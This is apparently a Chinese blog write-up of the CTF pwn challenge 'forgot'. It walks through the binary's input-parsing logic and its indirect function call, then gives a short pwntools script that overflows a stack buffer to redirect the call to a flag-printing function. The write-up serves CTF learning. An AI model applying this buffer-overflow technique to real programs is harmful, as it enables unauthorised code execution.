[pwn]逻辑复杂利用简单

30 篇文章 3 订阅
25 篇文章 4 订阅

逻辑复杂利用简单的pwn

遇到了一道坑有很多的题,记录一下。题目:forgot,题目地址:forgot

首先查看安全策略
在这里插入图片描述
不是很高,就一个NX,看看代码逻辑吧,直觉告诉我并不简单:
在这里插入图片描述
在这里插入图片描述
一张图放不下,其实有溢出,但我由于主函数太长了还一堆小函数,没注意(吓到了)。中间switch之中的一堆小函数都是判断是不是字母、数字、下划线之类的,比如:
在这里插入图片描述
在这里插入图片描述
而且最后有个调用:
在这里插入图片描述
调用的值又和v14有关,导致我没有最开始仔细分析如何调用而去分析上面那个switch的逻辑了,其实就是根据用户输入的字符串的格式不同给v14赋不同的值。完整的逻辑是一个类似邮箱的字符串cat@cat.com这种,就会让v14值为10,其他的根据完整成都值不同。最后调用V3+v14-1这个地址。在上面代码中可以看出,v3-v12都在最开始赋了一个函数,都是一些输出字符串的函数。 这里看反汇编代码不好明白这个是怎么计算的,直接看汇编代码:
在这里插入图片描述
将v14-1,然后调用v3变量下面v14值对应的变量指向的函数。由于小函数实在太多,我没有一个一个去看,通过string表发现了一个函数:
在这里插入图片描述
函数有了,然后发现逻辑只要我们输入的字符串前面是小写字母并且之中没有@,那么v14的值就一直是2,最后减1编程1,最后调用的就是v4,溢出点在:
在这里插入图片描述
计算v2和v4的相对位移,然后覆盖就好,具体看exp:

from pwn import *

p=process("./3d000793d15b444ab46e99e165e9454b")

flag_addr=0x80486CC
payload='a'*0x24+p32(flag_addr)

print p.recv()
p.sendline("chen")
print p.recv()
p.sendline(payload)
print p.recv()

可谓一顿操作猛如虎,一看溢出一步走!
在这里插入图片描述

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值